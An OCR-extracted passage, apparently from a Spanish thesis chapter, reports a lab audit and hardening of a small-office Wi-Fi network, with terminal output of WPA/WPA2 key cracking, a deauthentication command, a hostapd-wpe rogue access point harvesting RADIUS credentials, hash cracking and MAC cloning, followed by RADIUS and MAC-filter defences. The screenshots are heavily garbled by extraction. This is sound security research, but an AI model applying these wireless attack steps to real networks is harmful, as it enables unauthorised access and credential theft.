En un principio se hicieron diferentes intentos de ataques para poder vulnerar una WLAN con
seguridad WPA, todos ellos sin éxito. Por este motivo se recurrio a una revision de diferentes
diccionarios que se encuentran en internet. Sin embargo, éstos resultaron ser completamente
inatiles ya que s6lo son una coleccién de posibles contrasefias, que no garantizan encontrar la
contrasefia de la red que se estaba atacando. Entonces fue necesaria la creacion de un nuevo
diccionario el cual se crea a partir de la informacién obtenida del entorno de la red (ingenieria
social®). Este diccionario genera las posibles contrasefias que puede tener la red a partir de la
informacidn proporcionada, a diferencia de los diccionarios que se encuentran en la red que
contienen contrasefias aleatorias que no tienen nada que ver con la red que se esta atacando, (la
creacion de este diccionario se detalla en el anexo A). En la figura 3.3 se muestra la obtencion

de la clave de acceso a la red como resultado del ataque a una WLAN con seguridad WPA.

[ root@kali: ~ e e 0

File Edit View Search Terminal Help

Aircrack-ng 1.2 rc4

[00:00:05] 1548/3728 keys tested (287.80 k/sS)

Time left: 7 seconds

KEY FOUND! [ danieeel |

Master Key - D) 5A 39 29 F9 CF 03 37 42 F4 A8
48 61 F2 43 0 98 58 OA OE FE 74

Transient Key : 57 58 66 52 o Al 5C D1 94 CF 9A
co D7 . OB B9 42 F9 92 AC
2F AC 7 4C 66 OF 98 75 DB EB
58 D7 2 E3 27 AD 40 F1 5A AD

EAPOL HMAC : 5 6C BD - 47 59 09 35 B9 28 1A
:~# (]

Figura 3.3. Ataque a WPA con las herramientas de la Suite AIR (diagrama propio).

En la figura 3.4 se puede apreciar el tiempo promedio en que converge un ataque es de 7.4 min
y el tiempo estimado de convergencia de los 5 ataques realizados. Cabe aclararse que estos

tiempos son tomados tanto para WPA como para WPAZ2, una vez que se tiene el conocimiento

9 La ingenieria social se refiere a los medios para conseguir que los usuarios revelen informacién confidencial [18].
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de la funcion de cada una de las herramientas utilizadas para cada ataque asi mismo el

diccionario ya se tenia creado.

ataque a WPA con la suite air

Ataque 1 Ataque 2 Ataque 3 Ataque 4 Ataque 5

Tiempo en minutos

Figura 3.4. Tiempo promedio en que converge cada ataque con la Suite AIR (contrasefia débil) (diagrama propio).

En la imagen 3.3 se puede apreciar que en el atague anterior se obtuvo una contrasefia muy
sencilla, a pesar de que la WLAN tiene una seguridad basada en el protocolo WPA. Por lo tanto,
la contrasefia se mejor6d con una combinacién de nimeros, letras y caracteres especiales. Asi
mismo se procedid a realizar otro ataque, para verificar la eficiencia tanto de la herramienta
como la del diccionario. En la figura 3.5 se ven los resultados de dicho ataque.
root@kali: ~ © ® O
File Edit View Search Terminal Help

Aircrack-ng 1.2 rc4
[00:00:13] 3513/3512 keys tested (253.29 k/s)
Time left: © seconds

KEY FOUND! [ L1ly22&DO1! ]
Master Key

Transient Key

EAPOL HMAC
== I:l

Figura 3.5. Ataque al protocolo WPA con la Suite AIR (diagrama propio).

En la figura 3.6 se aprecia el tiempo en el que se vulnerd la red con seguridad WPA, a pesar de

tener una contrasefia mas robusta. El tiempo promedio fue de 7 min 5seg.
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Por otro lado, se realizé un ataque mas al protocolo WPA con la herramienta Wifiphiser, donde
la contrasefia fue obtenida mediante engafios. Los resultados de dicho ataque se encuentran en
el anexo D.

w
o
2
3
=
=
c
o
o
o
=
2
-

ATAQUE 1 ATAQUE 2 ATAQUE 3 ATAQUE 4 ATAQUE 5

Figura 3.6. Tiempo estimado en que converge cada ataque para una contrasefia robusta (diagrama propio).

Con el fin de romper la autenticacién WPA2 se realizé un ataque a este protocolo cuyo ataque
convergid en un tiempo promedio de 12 min 35 seg. En la figura 3.7 se muestran los resultados
de dicho ataque.

root@mag: ~ e e

Archivo Edtar Ver Buscar Terminal Ayuda

$

k as target

Figura 3.7. Ataque a WPA2 con la suite AIR (diagrama propio).

Con Wireshark se capturaron los paquetes correspondientes al momento de establecerse el
saludo handshake de cuatro vias, entre la estacion y el AP. Cabe mencionarse que esta captura
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fue tomada después de haberse realizado la reinyeccion de pagquetes ARP, ya que este ataque

obliga al usuario a desautenticarse para forzar una nueva autenticacion lo que permite obtener

el handshake. En la figura 3.8 puede verse el intercambio de mensajes entre el AP, la estacion

y el protocolo encargado de establecer la autenticacion (EAPOL).

*wlanOmon Q 0 O

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
WA® O RE Q « » Je»= =@ a a F

[ [eapol <] ~| Expression.. =+

Mo. Time Source Destination Protocol Length Info
10642 101.886107669 HuaweiTe BOd: SonyMobi_43:34: 151 Key (Message 1 i
10644 101.892338103 SonyMobi_43:34:el HuaweiTe_@d:e8:fc EAPOL 175 Key (Message 2 of 4)

10646 101.894834936 HuaweliTe_0d:08:fc SonyMobi_43:34:el EAPOL 175 Key (Message 3 of 4)
10648 101.897383462 SonyMobi_43:34:e1 HuaweiTe_@d:08:fc EAPOL 151 Key (Message 4 of 4)

[] »
Type: Key (3) -
Length: 95
Key Descriptor Type: EAPOL WPA Key (254)

» Key Information: 8x0089
Key Length: 32
Replay Counter: 1
WPA Key Nonce: 4effd2612662d2dd717caSb278adb257c6588b2337fcf285. .. -

OEEE 0 Pe 88 8e 1 @3 e 5T fe 0B B89 ©0 20 @0 OO BO
P40

RGN 4e T d2 61 26 62 d2 dd 71 7c a9
CIeH1iabh? 78 ad b2 57 c6 58 b 23 37 fc f2 85 9 f0 k)
CLERCREEREERED 00 00 60 00 00 0O 00 0B 860 80 B

0E60
" 00 00 PO 00 G0 PO EE 0 00 0 00 00 00 00 0 08
00 PP PP GO 0 PP 0 P OO 0 PR 00 P 00 @O OO

WPA Key Nonce (wlan_rsna_eapol.keydes.nonce), 32 bytes

Packets: 12112 - Displayed: 4 (0.0%)

Profile: Default

-

Figura 3.8. Intercambio de paquetes en handshake (diagrama propio).

Debido a que se atacaron los protocolos WEP, WPA y WPAZ2 con las herramientas de la Suite

AIR. En la figura 3.9 se muestra un grafico con la desviacion estandar y el promedio en que

dichos ataques convergieron. Asi mismo, puede notarse que el tiempo de diferencia en los cinco

ataques que se realizaron a cada protocolo es relativamente muy pequefio.
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Figura 3.9 Desviacion estdndar y tiempo promedio en que los ataques convergen con la Suite AIR (diagrama propio).

Cabe mencionar que en el grafico de la figura 3.9 falta incluir el tiempo de la creacion de los
diccionarios para vulnerar a los protocolos WPA y WPAZ2, (tiempo que no podria estimarse).

Una vez que se obtuvieron los resultados de la identificacion de vulnerabilidades, se procedio a
implementar los puntos de hardening que se propusieron para robustecer la seguridad en la

WLAN, los resultados obtenidos de esta implementacion se documentan en la siguiente seccion.

En la seccidén anterior, la seguridad WEP, WPA y WPA2 de tipo personal presentd
vulnerabilidades a diferentes ataques con diferentes herramientas, ya que al utilizarse estas
herramientas para atacar a los protocolos de seguridad se encontraron ciertos elementos que
influyen en que el ataque sea mas sencillo, estos son: la emision del SSID, este y la MAC del
AP son unos de los elementos que son requeridos por la herramientas en el proceso de un ataque
de desautenticacion, la potencia la cual indica si es posible que un ataque converja o no y al
estar configurada al méximo como en el ejemplo de figura 3.10, indica que un ataque tiene un
mayor éxito, otro elemento que también es primordial es el tipo de cifrado el cual indica a qué
tipo de autenticacion ( modo personal o enterprise ) se esta enfrentando el atacante . En la figura

3.10 se muestran estos elementos.
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root@kali: ~ e ® 0

File Edit View Search Terminal Help
ARRIS-5BD2
ARRIS-E532
linksys WPS E
Totalplay-156
INFINITUMqd6d
ARRIS-E2F2
INFINITUM7405

Elapsed: 24 s ][ 2017-09-26 02:35

PWR Beacons #Data, #/s

0
I

CIPHER AUTH ESSID

-32
-44
-39
-58
-63
-65
-67
-71
-71
-72
-73

ccmp MGT\ /Linksys38378
TKIP PSK/ WINFINITUM584d
ECHP PSK IR&EINITUM2854
CCMP PSK ARRIS-6222
cCcMP PSK TP-LINK D76BD6
CcCMP PSK ARRIS-86B2
CCMP PSK ARRIS-A9B2
CCMP PSK INFINITUMA7ASB
CCMP PSK ARRIS-7B42
CCMP PSK INFINITUMSvr8
CCMP PSK ARRIS-BB72

-

-
OV O O WKHMMMMO

COO0OO0OOHLODODOONO
[clolo Mo NNl o oo No)

Figura 3.10 Elementos que influyen en un ataque a una WLAN sea mds sencillo (diagrama propio).

En el caso de la autenticacion WPA/WPAZ2 enterprise, para realizar los ataques se utilizaron las
herramientas airmon-ng, hostapd-wep y zcat. Los resultados de este ataque se documentaran
después de la implementacion del servidor de autenticacion y la implementacion completa de

hardening.

3.2 Resultados de la implementacion de hardening en una WLAN

Después de la implementacion de hardening se pudieron observar algunos cambios en la
seguridad de la WLAN de un entorno SOHO. En los siguientes parrafos se hace un analisis del
robustecimiento que se le aportd a la red con cada una de las capas de hardening que se

implementaron de acuerdo con la figura 1.15 del capitulo 1.

Se intent6 acceder a la red como cominmente se hace, por ello se actualizé el estado del WIFI
de un smartphone y una laptop, para escanear las redes que estos dispositivos alcanzaban a
detectar, debido a que la emision del SSID no existe, en el momento en que los dispositivos
hacen un escaneo de redes cercanas, se observo gque la red no se da a conocer.

Por otra parte, si un usuario quiere acceder a esta red oculta debe agregarla manualmente. En la

figura 3.11 se muestra la agregacion de una nueva red en un smartphone.
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T il {42%) 15:04

Agregar red

Nombre de la red

Ingresa el SSID.

Agregar red

Activar

Seguridad
Redes guardadas Ninguna ~
wifi desbloqueado J
wifi blogueado Actualizar Opciones avanzadas v
dijkstra
& - CANCELAR
" Conectado Conﬁg, avanzada

W.  parachafas

Figura 3.11. Agregacion de una nueva red (diagrama propio).

Se ingresan los datos correspondientes al nombre de la red, en este caso “Testhardening”.
Debido a que la WLAN ahora cuenta con un servidor de autenticacion, en la opcion de seguridad
se eligio la correspondiente a 802.1x, donde se tienen que proporcionar las credenciales
necesarias como el nombre de usuario y contrasefia, estos datos deben ser los mismos que estan
alojados dentro del servidor de autenticacion. En la figura 3.12 se ejemplifica el intento de

autenticacion con los datos correspondientes

Agregar red
Nombre de la red

Testhardening

Seguridad
802.1x EAP -

Identidad
kratos

Contrasena

Figura 3.12. Credenciales para ingresar a la red (diagrama propio).

Por otro lado, cabe mencionar que el servidor de autenticacion freeRADIUS se pudo instalar en
el AP Arcadyan VRV9529AWAC24 de un ISP sin necesidad de comprar otro AP que sea
compatible con el servidor. En la figura 3.13 se muestra la implementacion de dicho servidor en

el escenario de pruebas.
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Figura 3.13. Servidor de autenticacion en entorno SOHO (diagrama propio).

Una vez que se autentica el usuario, el servidor de autenticacion le permitira el acceso a la red.
Asi mismo cuando las credenciales se verifican dentro del servidor de autenticacion, éste
autenticard de manera legitima al usuario y le concedera el acceso a dicha red, cuando esto es
correcto el servidor de autenticacion mostrara en la pantalla de salida un mensaje de aceptacion

como se muestra en la figura 3.14.

'. Terminal

File Edit View Terminal Tabs Help
post-auth {
update {
No attributes updated
# update noop
noop
y remove_reply message if_eap {

f (&reply:EAP-Message && &reply:Reply-Message) {
if (&reply:EAP-Message && &reply:Reply-Message) > FALSE
else {

[noop] = noop
} # else = noop
} # pol remove_reply message if eap = noop
| E=b nOOD

ent Id 119~€rom 192.168.1.69:1812 to 192.168.1.70:35804 leng

(%9) User-Name “kratos"

(79) MS -MPPE-Recv-Key 0x795T7a%e028420f1cbac21ab768dd248f84281e6abab4306a50ad
5¢720dd958bb

(79) MS-MPPE-Send-Key = 0x2bed9e2525e43e907a96bcd369edc895ad16852fdaa8faeef87d
9197f4e52a96

(79)

(79) Message-Authenticator = 0x00000000000000000000000000000000

(79) Finished request

Waking up in 4.7 seconds.

Figura 3.14. Respuesta del servidor de autenticacion al aceptar un usuario (diagrama propio).
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Por otro lado,

si un usuario quisiera intentar acceder a la red con las credenciales incorrectas el

servidor de autenticacién le negara el acceso y éste mostrara un mensaje de denegacion como

se indica en la linea 17 de la figura 3.15.

File

(3337) attr_filter.access_reject: --> gghhcb

(EEEYD) EAP-Message = 0x04020004

(3337) Message-Authenticator = 0x00000000000000000000000000000000
Waking up in 3.9 seconds.

(3337) Cleaning up request packet ID 2 with timestamp +3017922
Ready to process requests

Terminal (o)

Edit View Terminal Tabs Help

attr_filter.access_reject: Matched entry DEFAULT at line 11
[attr_filter.access_reject] = updated
[eap] = noop
policy remove_reply message_if_eap {
if (&reply:EAP-Message && &reply:Reply-Message) {
if (&reply:EAP-Message && &reply:Reply-Message) -> FALSE
else {
[noop] noop
} # else noop
} # policy remove_reply message if_eap = noop
} # Post-Auth-Type REJECT = updated
Delaying response for 1.000000 seconds
up in 0.3 seconds.
up in 0.6 seconds.
Sendinag_delayed response
Sent Access-Reject 1a»® from 192.168.1.71:1812 to 192.168.1.254:58622 length

Figura 3.15. Denegacidn de acceso a la red por parte del servidor de autenticacion (diagrama propio).

Ahora bien, si un usuario mal intencionado obtiene las credenciales e intenta acceder a la red

con estas, el AP le negara el acceso debido a que existe un filtrado MAC y el servidor de

autenticacion mostrara un mensaje similar al que se muestra en la linea 15 de la figura 3.16.

Terminal {2)

File Edit View Terminal Tabs Help

(3357)
(3357)
(3357)
(3357)
(3357)
(3357)
(3357)
(3357)
(3357)
(3357)
(3357)
(3357)
(3357)
(3357)
(335

gth ©
(3357)
(3357)
(3357)
(3357)
Waking
(3357)

} # authorize = ok
Found Auth-Type = eap
# Executing group from file /usr/local/etc/raddb/sites-enabled/default
authenticate {
eap: Peer sent packet with method EAP Identity (1)
eap: Calling submodule eap _md5 to process data
eap_md5: Issuing MD5 Challenge
eap: Sending EAP Request (code 1) ID 1 length 22
eap: EAP session adding &reply:State = 0x0ee429990ee52d03
[eap] = handled
} # authenticate = handled
Using Post-Auth-Type Challenge
# Executing group from file /usr/local/etc/raddb/sites-enabled/default
Challenae { } # empty sub-section is ignored
Sent Access-Challenge Lo from 192.168.1.71:1812 to 192.168.1.254:58622 1len

EAP-Message = 0x01010016041004c0Ob4c748lad2d732a4ch73ef4d80f2
Message-Authenticator = 0x00000000000000000000000000000000
State = 0x0eed29990ee52d031ac58cc881cf516f

Finished request

up in 4.9 seconds.

Cleaning up request packet ID 0 with timestamp +3027955

Ready to process requests

Figura 3.16. Acceso denegado a la red por parte del servidor de autenticacion (diagrama propio).

Asi mismo, el usuario observara algo similar a lo que se muestra en la figura 3.17, donde su

dispositivo se quedara intentando acceder a la red.
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Wi-Fi
dijkstra

para chafas
INFINITUM2054_2.4
TP-LINK_D76BD6

INFINITUMATZASBE

Figura 3.17. Intento de autenticacion desde un dispositivo movil diagrama propio.

Por otra parte, se realizd un nuevo ataque para verificar la eficiencia de la implementacién de
hardening en la WLAN. EI ataque se hizo a una distancia de 35 m, donde habia 3 obstaculos
(muros) para simular la distancia en la que podria encontrase un atacante. La intensidad de la
sefial se comportd de manera inestable hasta llegar al punto en que la calidad de enlace no fue
suficiente debido que el dispositivo ya no pudo ver la red. En la figura 3.18 se nota que la

potencia es muy baja lo que indica que un ataque no podria concretarse.

File Edt View Search Terminal Help

CIPHER AUTH ESSID

INFINITUMB9GE 2.4
INFINI EDESFF
INFINI 2054 2.4
INFINITUMA7ASBE
INFINITUMWSgh
CCMP SK Totalplay-7495
2 CCMP { INFINITUME2B6
CCMP { TP-LINK D76BD6
P INFINITUM1786
ccHp ( INFINITUME361
CCMP S ALERG
2 CCMP S NETGEAR98
CCMpP SK  INFINITUMrm39
cCMpP 5K  <length: 12>
CCMpP ( ARRIS-58D2
A2 CCMP K HOME-B35F
2 CCMP SK ARRIS-DC
2 CCMP SK <lengt >
A2 CCMP SK CORRECAMINOS
cCmp Totalplay-969A
2 CCMP SK <length: 12>
G ARRIS-ACO2
INFINITUMB262 2.4
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para chafas
<length; 8>

Figura 3.18. Potencia de la sefial de la red victima diagrama propio.
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A pesar de que se robustecio la red ésta no es segura al 100%. A continuacion, se describen
algunos escenarios de ataques posibles, y como esta implementacion de hardening ayuda en
algunos casos.

3.3 Posibles escenarios en un ataque

Red encontrada: esto se puede evitar al bajar la potencia del AP y el ocultamiento del SSID, si
un usuario malicioso se encuentra muy cerca o dentro del area de cobertura de red no podra
verla, en la figura 3.20 se muestran las capas de seguridad que estan protegiendo la red, en caso
de que el atacante tenga conocimientos de seguridad y realice un escaneo con alguna
herramienta para auditorias de seguridad y logre ver la red, el atacante realizara un ataque pasivo

para obtener el SSID de la red inalambrica.

Capas que no aplican

Capas que aplican

Figura 3.20 Activacidn de las capas al intentar encontrar la red (diagrama propio)

Obtencion del SSID: En caso de que el SSID sea obtenido mediante un ataque a pesar de ser
oculto, el atacante se enfrentara a la autenticacién mediante el servidor freeRADIUS, al llegar
el atacante a este punto se sometera a un proceso de autenticacién, donde, el servidor solicitara
las credenciales pertinentes (usuario y contrasefia) para proporcionar el acceso a dicha red. En
la figura 3.21 se muestra la capa de seguridad que esta protegiendo la red.
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Figura 3.21. Activacion de capa RADIUS al intentar acceder a la red (diagrama propio)
Obtencion de credenciales del servidor freeRADIUS: en freeRADIUS se hace la configuracion
de usuarios que podran tener acceso a la red, donde a cada usuario se le asigna una contrasefia,
ésta debe ser robusta y no tan facil de descifrar para que en caso de que esta autenticacion se
quebrante y las credenciales sean obtenidas por el atacante, al tratar de acceder a la red éste

caerda en el filtrado MAC de acuerdo con la figura 3.22.

. Capas que no aplican
. Capas que aplican

Figura 3.22. Activacion de filtrado MAC al intentar encontrar la red (diagrama propio)
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Acceso a la red: este escenario es el caso méas extremo, ya que el atacante tiene acceso total a la
red y podria capturar la informacién sensible que viaja en la red; sin embargo, llegar hasta aqui
es un poco complicado. Por otro lado, si se intenta hacer una denegacion de servicio esta no sera
posible ya que la contrasefia para ingresar al AP fue cambiada. En la figura 3.23 se muestra la

capa de seguridad que esté protegiendo la red.

Capas que no aplican

Capas que aplican

Figura 3.23. Activacion de capa que protege a la red (diagrama propio)

Para ilustrar estos posibles escenarios de manera practica se realiz6 un ataque mas a la WLAN

con la implementacion de hardening, cuyos resultados se documentan a continuacion.

3.3.1 Ataque a la WLAN con la implementacion de hardening

Se realiz6 un nuevo escaneo de redes para localizar la WLAN que se deseaba atacar, en este
caso la emisién del SSID esta desactivado por lo que no se da a conocer el nombre de dicha red,

como se muestra en la figura 3.24. Cabe mencionar que el escaneo tardo en promedio 6 min.
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root@kali: ~ e @ 0

Fite Edit View Search Terminal Help

CH 13 ][ Elapsed: 1 min ][ 2017-11-02 01:56
CH 2 ][ Elapsed: 1 min ][ 2017-11-02 01:56

BSSID PWR Beacons #Data, #/s CIPHER AUTH ESSID

4:10:3E:02:70: - 51
49
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9
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Figura 3.24. Escaneo de redes (diagrama propio).

3.3.1.1 Ataque al ocultamiento del SSID

Como se menciona anteriormente sobre la no emisién el SSID, se realizé un ataque para poder
obtenerlo. En la figura 3.25 se muestra el resultado de dicho ataque, en la parte inferior de la
imagen se aprecia la inyeccidn de paquetes para desautenticar y autenticar inmediatamente al
dispositivo gue en ese momento se encontraba en la red, para obtener de esta forma el SSID.
Este ataque tardo en un tiempo promedio de 9 min; sin embargo, el ataque podria tardar mas

tiempo. En la parte superior de la imagen se aprecia el nombre de la WLAN que se obtuvo.

Elapsed: 2 mins )[ 2017-12-09 17:01 ][ fixed channel wlanGmon: 8
PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
:36:AE:5D:90 -18 e} 229 44 @ 11 54e WPA2 CCMP MGT dijkstra
STATION R Frames Probe

:36:AE:5D:90 78:FF:CA:76:58:92 B - 2334

File Edit View Search Terminal Help
: Waiting for beacon frame (BSSID: 48:8D: H 5D:90) on channel 11

Sending 64 directed DeAuth. STMAC: [78: s :76:58:92] [ 6| © ACKs]
Sending 64 directed DeAuth. STMAC: [78:FF: :76:58:92] [ 0|18 ACKs]
Sending 64 directed DeAuth. STMAC: [78: G :76:58:92] [ 0|21 ACKs]
Sending 64 directed DeAuth. STMAC: [78: - :76:58:92] [ 0|52 ACKs]
Sending 64 directed DeAuth. STMAC: [78: s :76:58:92] [ 0| 9 ACKs]
Sending 64 directed DeAuth. STMAC: [78:FF: :76:58:92] [ ©] 2 ACKs]
Sending 64 directed DeAuth. STMAC: [78: s :76:58:92] [ 0|15 ACKs]
Sending 64 directed DeAuth. STMAC: [78: - :76:58:92] [ 6| © ACKs]
Sending 64 directed DeAuth. STMAC: [78: s :76:58:92] [ 0|17 ACKs]
[ ©] © ACKs]

VOVRANNOOOVLS

N
(=]

Sending 64 directed DeAuth. STMAC: ([78: s :76:58:92)
# aireplay-ng --deauth 10 -a 48:8D:36:AE:5D:90 -c 78:FF:CA:76:58:92 wlanOmon

Waiting for beacon frame (BSSID: 48:8D:36: :5D:90) on channel 11

Sending 64 directed DeAuth. STMAC: [78:FF: :76:58:92] [ 3| 4 ACKs]

Sending 64 directed DeAuth. STMAC: [78:FF: :76:58:92] [ 0|18 ACKs])

Sending 64 directed DeAuth. STMAC: [78:FF: :76:58:92] [ 6] © ACKs]

Sending 64 directed DeAuth. STMAC: [78:FF: :76:58: [ ©]18 ACKs]
> actod Do MAC - 8-FE-CA-76-58- 0

Figura 3.25. Obtencidn del SSID (diagrama propio).
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En la imagen 3.24 también se observa que al realizar un escaneo de redes se obtiene el tipo de
cifrado, el cual indica el tipo de autenticacion que se esta usando, en este caso es autenticacion

enterprise.

3.3.1.2 Ataque a WPA2 enterprise

Dado que se trata de una autenticacion enterprise, fue necesario crear un APF (Access Point
False) mediante la herramienta hostapd-wep, para obtener las credenciales encriptadas de los
usuarios, dicho ataque tardo en promedio 5 min, tiempo en el cual se genero este mismo. En la
figura 3.26 se aprecia la creacion del APF y el momento en que este aparece en los dispositivos
autenticados a la red.

# configuration file for hostapd-wpe » dijkstra (...)

# Interface - Probably wlano for 802.11, etho® for wired % Canal... ALFA, inc
interface=wlano : -27 dBm

EAP

# May have to change these depending on build location
eap user file=/etc/hostapd-wpe/hostapd-wpe.eap user para chafas (4a:8d:36:ae:5d:91)

ca_cert=/etc/hostapd-wpe/certs/ca.pem ——
= - ana
server_cert=/etc/hostapd-wpe/certs/server.pem L ocal Admins

private_key=/etc/hostapd-wpe/certs/server.key Q 2462 MHz
private key passwd=whatever YRS -42 dBm J
dh_file=/etc/hostapd-wpe/certs/dh )

# 802.11 Options

ssid=dijkstra INFINITUM2054_2.4 (d4:63:fe:cb:f6:16)
channel=1 an3

Figura 3.26. Creacion del APF (diagrama propio).

Comparando este ataque con los ataques que se hacen a WPA y WPAZ2 personal el APF tiene
que estar en espera hasta que una victima se desuatentique y autentique nuevamente a la red,
con el fin de obtener el nombre de usuario y la contrasefia encriptada, tiempo que no podria
estimarse. En este caso para apresurar el proceso se deshabilitd la tarjeta inaldmbrica del
dispositivo y se volvio a habilitar. En la figura 3.27 se muestra la obtencion de las credenciales
de autenticacion encriptadas.
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root@Kkali: ~ e ® 0
File Edit View Search Terminal Help

Configuration file: /etc/hostapd-wpe/hostapd-wpe.conf
interface wlan@ with hwaddr 00:c0:ca:58:40:f9 and ssid " dijkstra
: interface state UNINITIALIZED->ENABLED
: AP-ENABLED
: STA 78:ff:ca:76:58:92 IEEE 802.11: authenticated
: STA 78:ff:ca:76:58:92 IEEE 802.11: associated (aid 1)
: CTRL-EVENT-EAP-STARTED 78:ff:ca:76:58:92
: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1

: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25

mechanuv?+: Tue Sen 26 16:42-43 2A17

username: Kratos

challenge: 7f:17:98:95:26:19:00:2b

response: 5c:0a:3d:8d:81:f6:b2:b8:eb:12:10:26:08:d7:29:7e:14:35:95
:eb:7:93:32:2¢

jtr NETNTLM: kratos :$NETNTLM$7b2b8eb6f309672b$8d81f6261900b2b8eb121
92608d7297f179830ebf793322c¢

Lanu: LCIRL-EVENI-EAF-FALLURE /8:11.Cai/D:i086.92

wlan®: STA 78:ff:ca:76:58:92 IEEE 802.1X: authentication failed - EAP type: © (u
nknown )

Figura 3.27. Obtencion de credenciales del servidor de autenticacion (diagrama propio).

Para desencriptar la contrasefia obtenida del usuario RADIUS fue necesaria la creacion de un
nuevo diccionario, ya que el diccionario que se cre6 anteriormente con base en la informacion
de la red sin autenticacion enterprise. Puesto que el APF captura todas las credenciales del
servidor de autenticacion, se tienen que generar diferentes diccionarios por cada usuario
RADIUS, donde la informacion para crear el diccionario tiene que ser acorde al usuario. Como
se puede observar en el ejemplo de la figura 3.27 el nombre que se le asignd al usuario que tiene
acceso a la red no es como tal un nombre, por este hecho se potencializa la dificultad de crear
un diccionario que contenga las credenciales adecuadas. Para fines demostrativos se editd un
diccionario que se habia creado anteriormente para ejemplificar cémo se descifran estas
contrasefias. La desencriptacion de la contrasefia se realizé6 mediante el comando “zcat” cuyos

resultados se muestran en la figura 3.28.
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File Edit

b:

View

2.2

S
S .2

eap

p:

ng STDIN for words.
hash bytes:

1
i
i

a
gz
Us

Could not find a matching NT hash.
sSorry

# zcat /root/Desktop/cupp/lil
7:¢4 -R 01:3b:52:42:18:01:a9:5c:0a:3d:dc:35:19:b9:17:

I've given up.

Y

asleap 2.2

Using STDIN for words.
hash bytes:

Could not find a matching NT hash.
sorry

# zcat /root/Des
01:3b:52:42:18:01:39:5¢:0a:3d:dc:35:19:b9:17:10:32:06:44

I've given up.

7:
-W -
asleap 2.2
Using STDIN for words.
hash bytes:
NT hash:
password:

® ]

c4 -R

Search Terminal

42:18:01:29:5¢:0a:3d:dc:35:19:b9:17:10:32:06:44:22:70:94:57:45
actively recover LEAP/PPTP passwords

/root/Desktop/cupp is a directory ed

actively recover LEAP/PPTP passwords

root@Kkall: ~

Help

W
<jwright@hasborg.com>
igno

1ddc
Try expanding your list.
work out.

| as :92:0¢:38: a

:32:06:44:22:70:94:57:45

password
it didn't

<jwright@hasborg.com>

lddc

Try expanding your password list.

it didn't work out.

ktop/cupp/lily.txt.gz | asleap -C 75

actively recover LEAP/PPTP passwords. <jwright@ha

1ddc
48e1fad4Aeh3h91chhe3c8b38b2blddc
D4Anl3Ls3rrgno*

Figura 3.28. Desencriptacion de contrasefia de un usuario RADIUS.

Una vez que se obtuvieron las credenciales se intentd acceder a la red con ellas, pero

posible debido al filtrado MAC

3.3.1.3

no fue

Intento de clonacion MAC

Para verificar el funcionamiento del filtrado MAC que esté habilitado como parte de hardening

se realiz6 un nuevo ataque para clonar la MAC de un dispositivo que en ese momento se

encontraba conectado a la red. En la figura 3.29 se muestra la clonacion MAC.

root@mag: ~
Archivo Editar Ver Buscar Terminal Ayuda

ethd: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
ether 00:16:ec:c8:4e:51 txqueuelen 1000
RX packets @ bytes 0 (0.0 B)
RX errors @ dropped @ overruns 0
TX packets 0 bytes 0 (6.6 B)
TX errors @ dropped @ overruns 0

(Ethernet)
frame 0
carrier

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.6.6.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<h
loop txqueuelen 1 (Local Loopback)
RX packets 162 bytes 91985 (89.8 KiBlgm—
RX errors © dropped @ overrul
TX packets 162 bytes 91985

TX errors 6 dropped 6 pyed «ns 0 carrier © collisions u

£ A800<UR, BROADCAZCZ =t TICAST> mtu 1500

ether 9d:1f:f7:b9 ‘txqueuelen 1000 (Ethernet)
RX"PECcReTs v nytes v (v.e B)

RX errors 6 dropped 6 overruns 6 frame 6

TX packets @ bytes 0 (0.0 B)

TX errors 6 dropped 0 overruns 6

~#[]

carrier

collicg

collisions 0

root@mag: ~
Archivo Editar Ver Buscar Terminal Ayuda

:~# ifconfig wlan® down
:~# ifconfig

eth0: flags=4699<UP,BROADCAST ,MULTICAST> mtu 1560
ether 00:16:ec:c8:4e:51 txqueuelen 1000
RX packets 6 bytes 0 (0.0 B)
RX errors @ dropped 6 overruns
TX packets 0 bytes 6 (0.0 B)
TX errors © dropped 6 overruns 6

(Ethernet)
frame 0
carrier
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.6.0.0
inet6 ::1 prefixlen 128 scopeid Ox10<hostas
loop txqueuelen 1 (Local Loopback)
RX packets 170 bytes 94433 (92.2
RX errors © dropped © overrypd
TX packets 170 bytes 94433 (

TX errors 0 dropped 0 oy collisions @

mad ¢FF:CA:76:58:92 wland
09 (unknown)
28.1a. (unknown)
_ 78:ff:ca:76:58:92f (unknown)
% 1]

#
Current MAC
Permanent MAC.

New MAC:

hanger
b6:92:9d
£4:28:53:

Figura 3.29. Clonacion MAC.

Sin embargo, no fue posible acceder a la red ya que la clonacién s6lo duraba de 6 a 10 segundos.
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Por otro lado, se realizé el mismo ataque a la WLAN con el AP Linksys 38378 con el fin de
comparar el comportamiento de las redes con diferentes AP. En este caso se nota el momento
en que el APF aparece en el dispositivo que se encuentra autenticado a la red, como se muestra

en la imagen 3.30.

I

root@Kkali: /etc/hostapd-wpe (- O ) @ .l (3 0026

File Edit View Search Terminal Help
GNU nano 2.8.5 File: hostapd-wpe.conf

Modified

Activar
interface=wlan®

wifi desbloqueado

eap user file /hostapd-wpe.eap user

linksys38378

Linksys38378

ssid=1linksys38378
channel=1

TP-LINK_D76BD6

A ()

@.  INFINITUM2054_2.4

Get Help @ write Out Where Is Cut Text @Bl Justify e Cur Pos

Figura 3.30. Creacion del APF.
El APF desautentica al usuario inmediatamente y lo redirecciona a él mismo, donde realiza una
peticidn de credenciales, si esta peticion se ignora habra una denegacion de servicio. En el lado
izquierdo de la figura 3.31 se puede apreciar la peticion de credenciales y en el lado derecho se

muestra la denegacion de servicio al ser ignorada ésta.

© .l (373 00:26
linksys38378 ?

Activar

wifi desbloqueado

linksys38378
i ema de autent
CANCELAR CONECTAR v INFINITUMS84d
TP-LINK_D7
V. LINK_D76BD6

@. INFINITUM2054_2.4

Figura 3.31. Acceso denegacion a la WLAN.

Por ultimo, se realizd una revision de la seguridad en la WLAN de entorno SOHO, los resultados

obtenidos de dicha revisién se mostraran a continuacion.
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3.4 Revision de seguridad con y sin la implementacion de hardening

